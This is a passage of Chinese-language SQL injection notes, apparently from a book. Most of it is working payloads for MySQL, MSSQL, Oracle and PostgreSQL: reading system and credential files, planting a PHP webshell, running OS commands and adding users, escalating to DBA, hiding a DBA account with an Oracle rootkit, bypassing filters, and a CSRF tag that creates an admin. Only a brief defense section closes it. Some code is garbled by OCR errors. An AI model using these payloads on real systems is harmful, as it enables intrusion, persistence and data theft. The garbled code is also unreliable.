BADFILE 'bad_data.bad'
LOGFILE 'log_data.log'
FIELDS TERMINATED BY ','
MISSING FIELD VALUES ARE NULL
REJECT ROWS WITH ALL NULL FIELDS
(line))
LOCATION ('victim.txt')
)
PARALLEL
REJECT LIMIT 0
NOMONITORING;
Select * from ext_tab;

'
XMLType(PL/SQL, Oracle 9i R2 至 11g)
#从data-source.xml文件中读取用户名、明文口令和连接字符串
select extractvalue(value(c),'/connection-factory/@user')||'/'||extractvalue(value(c),'/connection-factory/@password')||'@'||substr(extractvalue(value(c),'/connection-factory/@url'),instr(extractvalue(value(c),'/connection-factory/@url'),'//')+2) conn FROM table(XMLSequence(extract(xmltype(bfilename('GETPWDIR','datasources.xml'),nls_charset_id('WE8ISO8859P1')
),
'/data-sources/connection-pool/connection-factory'
)
)
)c
/

#Oracle Text是一种很少有人知道的读取文件和URInate的技术。它不需要Java或utl_file_dir/Oracle目录,只需将想读取的文件或URL插入到一张表中并创建一个全文索引或者一直等待全文索引创建成功即可。该索引了包含整个文件的内容。
#下列示例代码说明了如何通过将boot.ini插入到一张表中来读取该文件
CREATE TABLE files (id NUMBER PRIMARY KEY,
path VARCHAR(255) UNIQUE;ot_format VARCHAR(6));
INSERT INTO files VALUES (1,'c:\boot.ini', NULL);
CREATE INDEX file_index ON files(path) INDEXTYPE IS ctxsys.contextPARAMETERS('datastore ctxsys.file_datastore format column ot_format');
-- retrieve data from the fulltext index
Select token_text from dr$file_index$i;
PostgreSQL

PostgreSQL提供了内置的COPY功能,可以将文本文件复制到表中的text字段,使用COPY 功能复制文件时,该文本文件应该是完全可读的(world readable),或者运行PostgreSQL进程的用户(通常是postgres用户)应该是该文件的所有者。

下面的例子演示了攻击者如何读取 ‘etc/passwd’文件的内容:

#创建一个临时表
http://10.10.10.114/test.php?id=1;CREATE table temp (name text);-- 

#将文件复制到表中
http://10.10.10.114/test.php?id=1;copy temp from '/etc/passwd'-- 

#读取表。在将文件复制到表中之后,就可以使用SQL注入技术来读取该表,比如使用 union技术或盲注技术
http://10.10.10.114/test.php?id=l union select 2,name from temp-- 

写文件

MySQL

select into outfile(dumpfile)该命令可以将一条select语句的结果写到MySQL进程所有者拥有的完全可读的文件中(dumpfile允许写二进制文件)

select 'test' into outfile '/tmp/test.txt';
#使用下列搜索字符串:
aaa 'union select NULL,'SensePost 2008\n' into dumpfile '/tmp/sp.txt' #

使用的是dumpfile(允许输出二进制文件)而非 outfile,这样一来,要想正常结束一行,就必须提供\n

select UNHEX('53656E7365506F7374203038');
#unhex()和hex()相反
Mssql

读取文件的scripting.filesystem对象方法来有效地向文件系统写文件,也可以使用该技术来写二进制文件,某些代码页面使用该技术的话会出现错误,对于这种情况,可以使用其他对象而非filesystem对象,比如ADODB.Stream。

#批量复制程序BCP
C:\temp>bcp "select name from sysobjects" queryout testout.txt -c -S 127.0.0.1 -U sa -P""
#使用重定向运算符>>创建文本文件:
exec xp_cmdshell 'echo This	is a test >c:\temp\test.txt'
exec xp_cmdshell 'echo This	is line	2 >>c:\temp\test.txt'
exec xp_cmdshell 'echo This	is line	3
>>c:\temp\test.txt'
#先创建一个debug.exe脚本文件,然后将它传递给debug.exe以转换成一个二进制文件。
C:\temp>debug < demo.scr
-n demo.com
-e 0000 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00
-e 0010 B8 00 00 00 00 00 00 00 40 00 00 00 00 o0 o0 00
-е 0040 0E 1F BA OE 00 B4 09 CD 21 B8 01 4C CD 21 54 68
-е 0050 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F
-е 0060 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20
-e 0070 6D 6F 64 65 2E OD OD 0A 24 00 00 00 00 00 00 00
...
-rex
CX 0000
:4200
-w 0
Writing 04200 bytes
-q
C:\temp>dir demo*
2008/12/27 03:18p	16,896 demo.com
2005/11/21 11:08a	61r280 demo.scr


copy /b chunk-1.exe_ + chunk-2.exe_ + ... + chunk-n.exe original-file.exe 
Oracle

Oracle中多种创建文件的方法

UTL_FILE
DBMS_ADVISOR
DBMS_XSLPROCESSOR
DBMS_XMLDOM
外部表
Java
操作系统命令和重定向

自Oracle 9i以来,utl_file可以在文件系统上写二进制代码。

#在数据库服务器的C:驱动器或恰当的UNIX路径中创建了一个二进制文件hello.com:
Create or replace directory EXT AS 'C:\';
DECLARE fi UTL_FILE.FILE_TYPE;
bu RAW(32767);
BEGIN
bu:=hextoraw(1BF3B01BB8100021E8000B88200882780FB81750288D850E8060083C402CD20C35589E5B80100508D451A50B80F00508D5D00FFD383C40689EC5DC3558BEC8B5E088B4E048B5606B80040CD21730231C08BE55DC39048656C6C6F2C20576F726C64210D0A');
fi:=UTL_FILE.fopen('EXT','hello.com','w',32767);
UTL_FILE.put_raw(fi,bu,TRUE);
UTL_FILE.fclose(fi);
END;
/

DBMS_ADVISOR可能是创建文件的最快捷方法

create directory EXT as 'C:\';
exec SYS.DBMS_ADVISOR.CREATE_FILE('first row', 'EXT','victim.txt');

自Oracle 10g以来,可以使用外部表创建一个包含用户名和口令的文件

create directory EXT as 'C:\';
CREATE TABLE ext_write (
myline)
ORGANIZATION EXTERNAL
(TYPE oracle_datapump
DEFAULT DIRECTORY EXT
LOCATION ('victim3.txt'))
PARALLEL
AS
SELECT 'I was here' from dual UNION SELECT name ||'='||password from sys.user$;

DBMS_XSLPROCESSOR可以将XML文件写入文件系统

exec dbms_xslprocessor.clob2file(your_xml,'MYDIR','outfile.txt');

另外还可以通过DBMS_XMLDOM访问文统:

CREATE OR REPLACE DIRECTORY XML_DIR AS 'C:\xmlfiles';
exec DBMS_XMLDOM.writeToFile(doc,'XML_DIR/outfile.xml');
PostgreSQL

PostgreSQL不但支持使用COPY功能读取文件,还支持使用COPY功能写入文件,它可以将表中的内容以文本格式写入一个文件中(每一行文本表示表中的一行数据)。文件将按照运行PostgreSQL进程(通常是postgres用户)的用户来创建,因此该用户需要对文件所在的路径具有写入权限。

#假定底层数据库用户具有所要求的“超级用户”权限,创建一个临时表
http://10.10.10.128/test.php?id=1; create table hack(data text);-- 
#在表中插入PHP Webshell代码
http://10.10.10.128/test.php?id=1; insert into hack(data) values ("<?php passthru($_GET['cmd']);>");-- 
#将表中的数据复制到一个文件中,将该文件放在Web根目录(Webroot)下
http://10.10.10.128/test.php?id=1; copy(select data from hack) to '/var/www/shell.php';-- 

一些能够利用的函数

lo_create()、lo_export()和lo_unlink()

执行操作系统命令

MySQL

MySQL服务器和Web服务器位于同一机器上,这样就能使用”select into DUMPFILE”技术在目标机器上构造一个欺骗性的公共网关接口(CGI)

在WAMP(Windows、Apache、MySQL和PHP)环境中,MySQL常常运行在特权用户权限下,因此攻击者可以在系统的任何位置写入文件。可以根据这一特点采用被动代码执行技术(passive code execution),比如在Administrator的启动文件夹中创建一个批处理文 件。当管理员登录到系统后,攻击者的批处理文件将被执行,并且攻击者的代码将在管理员权 限下执行。

下面的例子演示了这种攻击:

http://vulnsite/vuln.php?name=test' union select 'net user attacker pwd /add' into outfile 'c:\documents and settings\all users\start menu\programs\startup\owned.bat'

Mssql

xp_cmdshell的妙用

现代版本的SQL Server默认禁用了 xp_cmdshell,可以使用sp_configure语句并通过带内信令(signaling)再次打开它。

#通过T-SQL初始化Wscript.Shell实例的方法
CREATE PROCEDURE xp_cmdshell3(@cmd varchar (255), @ wait int = 0) AS-- 
Create wscript.Shell object 
DECLARE @result int, @OLEResult int, @RunResult int DECLARE @ShellID int 
EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @shellID OUT 
IF @OLEResult <> 0 SELECT @result = @OLEResult 
IF @OLEResult <> 0 RAISERROR('CreateObject0X', 14, 1, @OLEResult)
EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @wait 
IF @OLEResult <> 0 SELECT @result = @OLEResult 
IF @OLEResult <> 0 RAISERROR('Run8OX', 14, 1, @OLEResult)
--If @OLEResult <> 0 EXEC sp_displayoaerrorinfo @shellID, @OLEResult 
EXECUTE QOLEResult = sp_OADestroy @ShellID 
return @result

使用CREATE ASSEMBLY指令促使SQL Server从系统中加载文件。如果想使用该功能加载一个有效的.NET二进制文件,有三种选择:

  • 创建并加载本地可执行文件:

    在系统中创建源文件; 将源文件编译为可执行文件; 从 C:\temp\foo.dll 调用 CREATE ASSEMBLY FOO。

  • 从UNC共享加载可执行文件:

    在公共访问的Windows共享中创建DLL(或EXE); 从\public_server\temp\fbo.dll 调用 CREATE ASSEMBLYFOO。

  • 从传递的字符串创建可执行文件:

    1. 创建可执行文件。

    2. 将可执行文件分解成HEX:

      File.open("moo.dll","rb").read().unpack("H*")["4d5a90000300000004000000ffff0........]
    3. 从 4d5a90000300000004000000ffff0 调用CREATE ASSEMBLY MOO

NET提供的信任级别

SAFE:
>执行计算
>禁止访问外部资源
EXTERNAL_ACCESS:
>访问硬盘
>访问环境
>带某些限制的几乎完全的访问
UNSAFE:
>等价于完全信任
>调用非托管代码
>以SYSTEM身份做任何事情

我们的目标是以UNSAFE级别加载二进制文件。将数据库设置为“Trustworthy”可以绕开这种限制。

不受限制地创建一个.NET二进制文件,然后使用设置为UNSAFE的许可将其导入到系统中

alter database master set Trustworthy on CREATE ASSEMELY shoe FROM Ox4d5a90.. WITH PERMISSION_SET=unsafe

Oracle

代码的执行通常要求数据库用户具有DBA权限

权限提升

特定的PL/SQL块(比如函数、存储过程、触发器、 视图等)都是在特定的权限之下才能执行

Oracle带有许多默认的安装包,这些包中包含了大量的对象(表、视 图、函数、过程等等),SYS具有最高级别的访问权限,在SYS权限下执行SQL语句就能赋予自己DAB角色。

#以一个非特权用户test连接到数据库

#创建一个函数并注入易受攻击的过程
CREATE OR REPLACE FUNCTION X return varchar2
authid current_user as 
pragna autononous_transaction; 
BEGIN 
EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT'; 
COMMIT; 
RETURN 
END;
exec SYS.LT.CREATEVORKSPACE('zz'' and scott.x<>=''x'>;
exec SYS.LT.RENOUEWORKSPACE('zz'' and scott.x<>=''x'>;

select * from user_role_privs;
#可以看到SCOTT具有DBA角色
#具有 CREATE ANY PROCEDURE 和 EXECUTE ANY PROCEDURE 权限的用户可以在SYSTEM模式下创建一个存储过程:
CREATE OR REPLACE procedure SYSTEM.DBATEST
IS
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';
END;
/

EXEC SYSTEM.DBATEST();
通过直接访问执行代码

如果可以直接访问Oracle实例,那么根据Oracle版本的不同,可以使用下列多种不同的方法。

Oracle EXTPROCJavaDBMS_SCHEDULER是Oracle运行操作系统命令的正式方法。

使用Oracle数据库中的其他功能来执行操作系统代码,包括PL/SQL nativeOracle TextAlter System set 事件PL/SQL native 9iBuffer overflow(缓冲区溢出)+ shell代码Custom code(自定义代码)

  • Oracle EXTPROCJava

    http://www.0xdeadbeef.info/exploits/raptor_oraexec.sql

  • Oracle EXTPROC

    Oracle数据库的PL/SQL程序设计语言可以通过EXTPROC执行外部过程

    #恶意用户首先创建一个共享对象(shared object)—通常是DLL文件或系统库,其中包含了允许执行OS代码的功能:
    -- 对于Windows系统
    CREATE OR REPLACE LIBRARY exec_shell AS 'C:\windows\system32\msvcrt.dll';
    -- 对于UNIX系统
    CREATE OR REPLACE LIBRARY exec_shell AS '/lib/libc-2.2.5.so';
    
    #创建一个过程,调用该库的系统函数:
    CREATE OR REPLACE procedure oraexec(cmdstring IN CHAR) is external NAME "system"
    library exec_shell
    LANGUAGE C;
    
    #执行该过程:
    exec oraexec('net user hacker hack3r /ADD');
    #当执行oraexec过程时,数据库指示EXTPROC加载msvcrt.dll或libc库,并执行system()函数。
  • 通过Java库执行操作系统命令

    #查看用户Java(文件和执行)的许可权限:
    select * from user_java_policy where grantee_name = 'SCOTT';

    数据库用户具有正确的Java IO许可权限,执行OS代码的方法

    #DBMS_JAVA.RUNJAVA(受影响的系统:11g R1、11g R2):
    http://192.168.2.10/ora8.php?name=SCOTT' and (SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper c:\\windows\\system32\\cmd.exe /c dir>C:\\OUT.LST') FROM DUAL) is not null -- 
    
    '
    #DBMS_JAVA_TEST.FUNCALL(受影响的系统:9iR2、10g R2、11g R1、11g R2):
    http://192.168.2.10/ora8.php?name=SCOTT' and (Select DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper ','main','c:\\windows\\system32\\cmd.exe','/c','dir>c:\\OUT2.LST') FROM DUAL) is not null -- 
    # DBMS_JVM_EXP_PERMS允许具有CREATE SESSION权限的用户授予自己Java IO许可权限:
    DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; CURSOR Cl IS SELECT ''GRANT'',user(),''SYS'',''java.io.FilePermission'',''<<ALL FI LES>>'',''execute'',''ENABLED'' FROM DUAL; BEGIN OPEN Cl; FETCH Cl BULK COLLECT INTO POL;CLOSECI;DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);END;
  • DBMS_SCHEDULER

    DBMS_SCHEDULER是Oracle 10g及之后版本中新增的内容,它要求拥有CREATE JOB (10gR1)或 CREATE EXTERNAL JOB(10gR2/11g)权限。自 10.2.0.2 起,不能再以 oracle 用户身 份执行操作系统命令,而要以nobody用户执行:

    --Create a Program for dbms_scheduler
    exec DBMS_SCHEDULER.create_program('RDS2009','EXECUTABLE','c:\WINDOWS\system32\cmd.exe /c echo Owned >> c:\rds3.txt',0,TRUE);
    
    --Create, execute, and delete a Job for dbms_scheduler
    exec DBMS_SCHEDULER.create_job(job_name =>'RDS2009JOB',program_name =>'RDS2009',start_date =>NULL,repeat_interval =>NULL,end_date =>NULL,enabled => TRUE,auto_drop => TRUE);
  • PL/SQL native

    拥有修改数据库服务器上SPNC_COMMANDS文本文件的权限。如果创建了存储过程、函数或包并启用了 PL/SQL native,那么Oracle会执行该文件中的所有内容。

    下列代码使用PL/SQL native为public授予DBA权限。grant命令是一条通常以SYS用户身份执行的INSERT INTO SYSAUTHS$命令。

    本例中,我们创建了一个名为e2.sql且由sqlplus 执行的文本文件,sqlplus命令可通过PL/SQL native来启动:

    CREATE OR REPLACE FUNCTION Fl return number
    authid current_user as
    pragma autonomous_transaction;
    v_file UTL_FILE.FILE_TYPE;
    BEGIN
    EXECUTE IMMEDIATE q'!create directory TX as 'C:\'!';
    begin
    -- grant dba to public;
    DBMS_ADVISOR.CREATE_FILE ('insert into sys.sysauth$ values(1,4,0,null); '||chr(13)||chr(10)||'exit;','TX','e2.sql');
    end;
    EXECUTE IMMEDIATE q'!drop directory TX!';
    EXECUTE IMMEDIATE q'!create directory T as 'C:\ORACLE\ORA101\PLSQL'!'; 
    utl_file.fremove('T','spnc_commands');
    v_file: = utl_file.fopen ('T','spnc_commancis','w');
    utl_file.put_line(v_file,'sqlplus / as sysdba @c:\e2.sql'); 
    utl_file.fclose(v_file);
    EXECUTE IMMEDIATE q'!drop directory T!';
    EXECUTE IMMEDIATE q'!alter session set plsql_compiler_flags='NATIVE'!'; 
    EXECUTE IMMEDIATE q'!alter system set plsql_native_library_dir='C:\'!'; 
    EXECUTE IMMEDIATE q'!create or replace procedure hl as begin null; 
    end;!';
    COMMIT;
    RETURN 1;
    END;
    /
  • Oracle Text

    Oracle Text也可以执行操作系统命令。通过用户自定义的过滤器(USER_FILTER_PREF), 可以将表的内容传递给用户自定义的过滤器。在下面的例子中,通过一个表将TCL代码传递 给用户自定义的过滤器。

    使用Oracle Text用户自定义的过滤器存在着一个限制。只能从ORACLE_HOME/bin目录执行。例如,oratclsh.exe就可以执行。对于这一限制,可以使用UTL_FILE包将相应的可执行文件复制到ORACLE_HOME/bin目录,以便执行该文件:

    create table t (id number(9) primary key, text varchar2(2000));
    Begin
    ctxsys.ctx_ddl.drop_preference('USER_FILTER_PREF');
    end;
    /
    begin
    ctxsys.ctx_ddl.create_preference
    (
    preference_name => 'USER_FILTER_PREF',
    object_name => 'USER_FILTER'
    );
    ctxsys.ctx_ddl.set_attribute
    ('USER_FILTER_PREF','COMMAND','oratclsh.exe');
    end;
    /
    begin
    insert into t values (1,'
    set f [open "C:/AHT.txt" {RDWR CREAT}]
    puts $f "Your System is not protected!"
    close $f
    set f [open [lindex $argv 0] {RDWR CREAT}]
    puts $f "SUCCESSH"
    close $f
    ');
    end;
    /
    drop index user_filter_idx;
    create index user_filter_idx on t (text)
    indextype is ctxsys.context
    parameters ('FILTER USER_FILTER_PREF');
    select token_text from DR$USER_FILTER_IDX$I;
  • Alter System set 事件

    Alter System set是一种非公开参数(自Oracle 10g以来),它可以指定自定义调试器的名称。 在调试事件(debugging event)过程中将执行自定义的调试器,而调试事件则需予以强制实现。 例如:

    alter system set "_oradbg_pathname"='/tmp/debug.sh';
  • PL/SQL native 9i

    自9iR2以来,Oracle提供了将PL/SQL代码转换成C代码的方法。为提高灵活性,Oracle 可以修改make工具的名称(例如,修改成calc.exe或其他可执行文件)。例如:

    alter system set plsql_native_make_utility='cmd.exe /c echo Owned > c:\ rds.txt &';
    alter session set plsql_compiler_flags='NATIVE';
    Create or replace procedure rds as begin null; end; /
  • 缓冲区溢出

    2004 年,Cesar Cerrudo 公布 了关于 Oracle 中 NUMTOYMINTERVA 和 NUMTODSINTERVAL 这两个函数的一种缓冲区溢出漏洞,使用下列漏洞在数据库服务器上运行操作系统命令:

    SELECT NUMTOYMINTERVAL (1,'AAAAAAAAAABBBBBBBBBBCCCCCCCCCCABCDEFGHIJKLMNOPQR'||chr(59)||chr(79)||chr(150)||chr(01)||chr(141)||chr(68)||chr(36)||chr(18)||chr(80)||chr(255)||chr(21)||chr(52)||chr(35)||chr(148)||chr(01)||chr(255)||chr(37)||chr(172)||chr(33)||chr(148)||chr(01)||chr(32)||'echo ARE YOU SURE? >c:\Unbreakable.txt') FROM DUAL;
  • 自定义应用代码

    在Oracle领域,我们经常使用包含操作系统命令的表,这些命令由连接到数据库的外部程序执行。使用指定的命令更新数据库中这样的条目时,我们经常可以控制系统。检查所有表以寻找包含操作系统命令的列,将命令注入到命令表,等待被执行。

以SYSDBA执行代码

对于具有SYSDBA权限(比如SYS)的用户来说,使用oradebug(9i R2、10g R2、11g R1或11g R2)调用任意的操作系统命令或DLL/库。以下命令中的空格字符必须使用tab字符来代替:

sqlplus	sys/pw@dbserver	as	sysdba
SQL>oradebug	setmypid
SQL>oradebug	call	system	"/bin/touch	-f	/home/oracle/rds.txt"Function	returned	0

PostgreSQL

执行操作系统命令的方式就是调用用户自定义函数(User-Defined Function, UDF)

对于存在于本地操作系统之上的共享库,库中将没有magic block声明。我们必须上传具有该声明的我们自己的共享库。在PostgreSQL中,可以将UDF放在PostgreSQL用户具有读/ 写访问权限的任何位置。在Linux/UNIX系统中通常位于/tmp目录,在Windows系统中通常位 于 c:\windows\temp 目录。

要包含magic block,在已经包含了头文件fmgr.h之外,还需要在源文件的其中一个模块(仅能有一个模块)中包含下面的指令:

# ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
# endif

巩固访问

Oracle rookkit

-- the following code must run as DBA
SQL> grant dba to hidden identified by hidden_2009;
-- create a user hidden with DBA privileges
SQL> select sys.kupp$proc.disable_multiprocess from dual; 
-- this SELECT statement is needed for newer version of Oracle (10.2.0.5,11.1.0.7, 11.2.0.x) to activate the identity change
SQL> exec sys.kupp$proc.change_user('SYS'); 
-- become user SYS 
-- change the users record in sys.user$
SQL> update sys.user$ set tempts#=666 where name='HIDDEN';
-- does not show the user HIDDEN
SQL> select username from dba_users;
-- but the connect works
SQL> connect hidden/hidden_2009

#Oracle使用ALL_USERS和DBA_USERS视图来显示用户列表,这些视图包含了三张表的并集。通过将tempts#(或datats#或type#)设置成不存在的值,可以从并集结果和视图中清除用户:
CREATE OR REPLACE FORCE VIEW "SYS"."ALL—USERS" ("USERNAME","USER_ID","CREATED") AS
select u.name, u.user#, u.ctime
from sys.user$ u, sys.ts$ dts, sys.ts$ tts
where u.datats# = dts.ts#
and u.tempts# = tts.ts#
and u.type# = 1

通过http.sys(管理IIS的同一内核组件)暴露基于SOAP(简单对象访问协议)的Web服务,使用T-SQL命令启用端点上的批处理时,端点会隐式暴露另一种名为sqlbatch的SOAP 方法。sqlbatch方法可以通过SOAP来执行T-SQL语句。

我们可以发出请求来创建需要的SOAP 端点:

username=' exec('CREATE ENDPOINT ep2 STATE=STARTED AS HTTP (AUTHENTICATION = (INTEGRATED),PATH = ''/sp'',PORTS=(CLEAR))FOR SOAP (BATCHES=ENABLED)')-- 

上述代码在victim服务器的/sp目录中创建了一个SOAP端点,我们可以在该端点上瞄准 一个SOAP请求(使用嵌入式SQL查询)。

高级话题

避开输入过滤器

Web应用防火墙(WAF)或入侵防御系统(IPS)

通常会过滤SQL关键词,如select,insert,and等、还有特定字符,如单引号,连接字符、还有空白符

使用大小写变种绕过

数据库不区分大小写

'uNiOn SeLeCt password FrOm tblUsers WhErE username='' admin'-- 

使用SQL注释

#过滤器
if (stristr($value, 'FROM ') ||stristr (Svalue, 'UPDATE ') ||
stristr($value, 'WHERE ')||
stristr ($value, 'ALTER ')||
stristr($value, 'SELECT ')||
stristr ($value, 'SHUTDOWN ') ||
stristr ($value, 'CREATE ') ||
stristr ($value, 'DROP ') ||
stristr($value, 'DELETE FROM ')||
stristr($value, 'script ')||
stristr($value,'<>') ||stristr($value, '=') ||
stristr($value, 'SET ')) die ('Please provide a permitted value for'.$key);

对关键字后面跟着的空格检测,使用/**/充当分隔符

'/**/UNION/**/SELECT/**/password/**/FROM/**/tblUsers/**/WHERE/**/username/**/LIKE/**/'admin'-- 

Mysql中能使用内联注释来避开关键字绕过,sel/**/ect

使用URL编码

过滤器能过滤空白符和内联注释序列/*,将序列双URL编码,即对%编码得到%25

'%252f%252a*/UNION%252f%252a*/SELECT%252f%252a*/password%252f%252a*/FROM%252f%252a*/tblUsers%252f%252a*/WHERE%252f%252a*/username%252f%252a*/LIKE%252f%252a*/'admin'-- 

也能使用Unicode编码

使用动态查询执行

过滤器阻止了想注入的查询,那么可以使用动态执行来避开该过滤器。

  • mssql

    EXEC('SELECT password FROM tblUsers')
  • oracle

    DECLARE pw VARCHAR2(1000);
    BEGIN
    EXECUTE IMMEDIATE 'SELECT password FROM tblUsers' INTO pw;
    DBMS_OUTPUT.PUT_LINE(pw);
    END;

使用字符串操作函数将过滤器允许的输入转换成一个包含所需查询的字符串

Oracle: 'SEL'||'ECT'
MS-SQL: 'SEL'+'ECT'
MySQL: 'SEL' 'ECT'
#URL中分别将它们编码成%2b(+)和%20( )

oracle使用chr(),ms-sql使用char(),还能用来绕过引号

CHAR(83)+CHAR(69)+CHAR(76)+CHAR(69)+CHAR(67)+CHAR(84)

Oracle中的REVERSE、TRANSLATE、REPLACE 和SUBSTR函数。

ms-sql,使用16进制实例化字符串

DECLARE @query VARCHAR(100)
SELECT @query = 0x53454c4543542070617373776f72642046524f4d2074626c5573657273 EXEC(@query)

使用空字节

空字节之所以能起作用,是因为原生代码(native code)和托管代码分别采用不同的方法来处理空字节。在原生代码中,根据字符串起始位置到出现第一个空字节的位置来确定字符串长度 (空字节有效终止了字符串)。而在托管代码中,字符串对象包含一个字符数组(可能包含空字节) 和一条单独的字符串长度记录。

要想执行空字节攻击,只需在过滤器阻止的字符前面提供一个采用URL编码的空字节 (%00)即可。

%00'UNION SELECT password FROM tblUsers WHERE username= 'admin'-- 

嵌套剥离后的表达式(双字绕过)

有些审查过滤器会先从用户输入中剥离特定的字符或表达式,然后再按照常用的方式处理剩下的数据。如果被剥离的表达式中包含两个或多个字符,就不会递归应用过滤器。

如果从输入中剥离了 SQL关键词SELECT

SELSELECTECT

利用截断

审查过滤器通常会对用户提供的数据执行多种操作,有时这些操作中会包括将输入截断成最大的长度(可能是为了尽力阻止缓冲区溢出攻击)或者调整数据使其位于拥有预定义最大长度的数据库字段内。

#条件:对引号标记进行双重编码,使用两个单引号(")替换所有的单引号('),将每一项截断成16个字符
SELECT uid FROM tblUsers WHERE username = 'admin"-- 'AND password =''
#执行不成功
#利用上述条件,注入15个a和一个单引号
SELECT uid FROM tblUsers WHERE username = 'aaaaaaaaaaaaaaa'' AND password =''
#第三个单引号干扰了语法,后面无效
'
#利用第二个注入点闭合单引号,并注入永真条件
SELECT uid FROM tblUsers WHERE username = 'aaaaaaaaaaaaaaa'' AND password = 'or 1=1-- '

避开自定义过滤器

遇到各种奇怪绝妙的输入过滤器,可以通过发挥想象力来避开这些过滤器。

例如,包名加双引号,编码替换,加标签

使用非标准入口点

通常WAF不会验证参数名,可以注入SQL代码到参数名中,如果参数名被处理成SQL查询就能执行,同理,也能注入到HTTP头中等等

利用二阶SQL注入

  1. 攻击者在HTTP请求中提交某种经过构思的输入。

  2. 应用程序存储该输入(通常保存在数据库中)以便后面使用并响应请求。

  3. 攻击者提交第二个(不同的)请求。

  4. 为处理第二个请求,应用程序会检索己经存储的输入并处理,从而导致攻击者注入的 SQL查询被执行。

  5. 如果可行的话,会在应用程序对第二个请求的响应中向攻击者返回查询结果。

a'+@@version+'a
#注入这个参数值,经过处理得到
INSERT INTO tblContacts VALUES ('a''+@@version+''a','foo@example.org,....
'
#单引号被转化为双引号

SELECT * FROM tblUsers WHERE contactld = 123
#检索已存在的细节信息
UPDATE tblUsers
SET name='a'+@@version+'a',address='52 Throwley Way',...
WHERE contactld = 123
#使用上面测试过的字符串注入引号双重编码

#当查看更新后的信息时,@@version就会执行显示在屏幕

寻找二阶漏洞

  1. 在筹划好应用程序的内容和功能后进行复查,寻找所有用户能够控制的数据项,这些数据项会被应用程序持久保存并被后面的功能重用。单独操作每个数据项并为每个实例执行接下来的步骤。

  2. 在数据项中提交一个简单的值,数据项在SQL查询中被不安全地使用时很可能会引发问题,例如,单引号或者使用单引号引起来的字母数字型字符串。如有必要,请快速检查所有包含多个阶段的过程(比如用户注册)以保证数据值完全持久地存在于应用程序中。

  3. 如果发现应用程序的输入过滤器阻止了输入,绕过

  4. 快速检查应用程序中所有存在显式使用数据项的功能以及可能存在隐式使用数据项的功能。寻找所有能够表明是由输入引发了问题的异常行为,比如数据库错误消息、HTTP 500 状态代码、更隐秘的错误消息、受损的功能、丢失或毁坏的数据等。

  5. 对于识别出来的每个潜在问题,尝试开发一种概念验证攻击来确认是否存在SQL注入漏洞。请注意,有缺陷的持久数据可能以间接受到攻击的方式(例如,整型转换错误或后续数据验证失败)来引发异常条件。使用两个引号标识来提供相同的输入并查看异常是否消失。 使用数据库专用的结构(比如字符串连接函数和版本标识)来确认正在修改SQL查询。如果异常条件是盲的(例如,不返回查询结果或任何错误消息),使用时间延迟技术来确认漏洞的存在。

防御

对所有可变数据项使用参数化,白名单

客户端SQL注入漏洞

访问本地数据库

为了更快的加载数据,以及离线使用,有时会把数据库放在本地

//JavaScript创建一个本地数据库
var database = openDatabase("dbStatus", "1.0", "Status updates",500000); db.transaction(function(tx) {
tx.executeSql("CREATE TABLE IF NOT EXISTS tblUpdates (id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, date VARCHAR(20), user VARCHAR(50), status VARCHAR(IOO))");
tx.executeSql("INSERT INTO tblUpdates (date, user, status) VALUES ('1/8/2012','Me','I am writing a book.')");
});

攻击客户端数据库

要发送客户端SQL注入攻击,攻击者必须识别出一些他能控制的数据片段,并且应用程序以非安全方式将这些数据片段存储在其他用户的客户端数据库中。

如果这些客户端数据库存在同步,能到达其他数据库执行,则可以注入SQL查询

场景

在社交网络应用程序中,在Web邮件应用程序中,在实现拍卖功能的应用程序中,攻击者可以控制的基于文本的数据,在屏幕上输入的但是受到输入验证程序支配的数据

使用混合攻击

利用多种漏洞混合攻击

利用捕获的数据

利用SQL注入读取权限,账户,口令

创建跨站脚本

在SQL注入不能回显时,可以注入反射XSS来返回输出

https://www.example.org/MyOrders.php?orderType=123+UNION+SELECT+1,'<script>alert(1)</script>',1
#测试xss,如果没有过滤就会执行成功

在Oracle上运行操作系统命令

CREATE TABLE "!rm Rf/" (a varchar2 (1));
#该命令能被Oracle接受

如果DBA或开发人员使用带spool命令(DBA编写动态SQL脚本时经常使用的技术)的 SQL*Plus脚本,那么SQL*Plus会清除上述例子中的双引号以便访问该对象。接下来SQL*Plus 会将感叹号解析成主机命令(UNIX中是!,Windows和VMS中是$),并将感叹号后面的内容作为操作系统命令执行。

下面是一个易受攻击的SQL*Plus脚本的例子。它创建了一个名为test.sql的spool文件, 之后执行该文件:

SPOOL test.sql
SELECT table_name FROM all_tables WHERE owner='SCOTT';
SPOOL OFF
@test.sql

利用验证过的漏洞

如果管理员在应用程序中完全可信,那么他们将能够直接在数据库中执行任意SQL查询。

https://www.example.org/admin/ViewUser.aspx?UID=123
#若UID是管理员,就可以直接利用管理员权限攻击

#构造跨站伪造,诱导管理员帮助我们执行命令
<img src=" https://www.example.org/admin/ViewUser.aspx?UID=123;+INSERT+INTO+USERS+(username,password,isAdmin)+VALUES+('pablo','quest45th', true)">
#若管理员点击图片就会帮我们创建一个新的管理员用户,这个用户我们能掌握。

代码层防御

领域驱动的安全

领域驱动的安全(Domain Driven Security, DDS)是一种设计代码的方法,以这种方法设计的代码可以避免典型的注入问题

领域驱动的安全是一种开发方法,它的目标是帮助开发人员进行推理并缓解任何类型的注入攻击的威胁——包括SQL注入和跨站脚本攻击。领域驱动的安全是开发人员为开发人员创建的理念,它的灵感来自于Eric Evans提出的领域驱动设计,它试图充分利用来自于DDD的概念以提高应用程序的安全性。

简单来说,就是把所有过滤、处理的过程封装成一个类,将这个处理类放在输出到服务器之间,自动过滤

当然,过滤不能完全处理,使用参数化语言也是明智选择,有时编码也能解决问题,但是考虑到不同数据库的处理不同,也会衍生相应问题

使用参数化语言

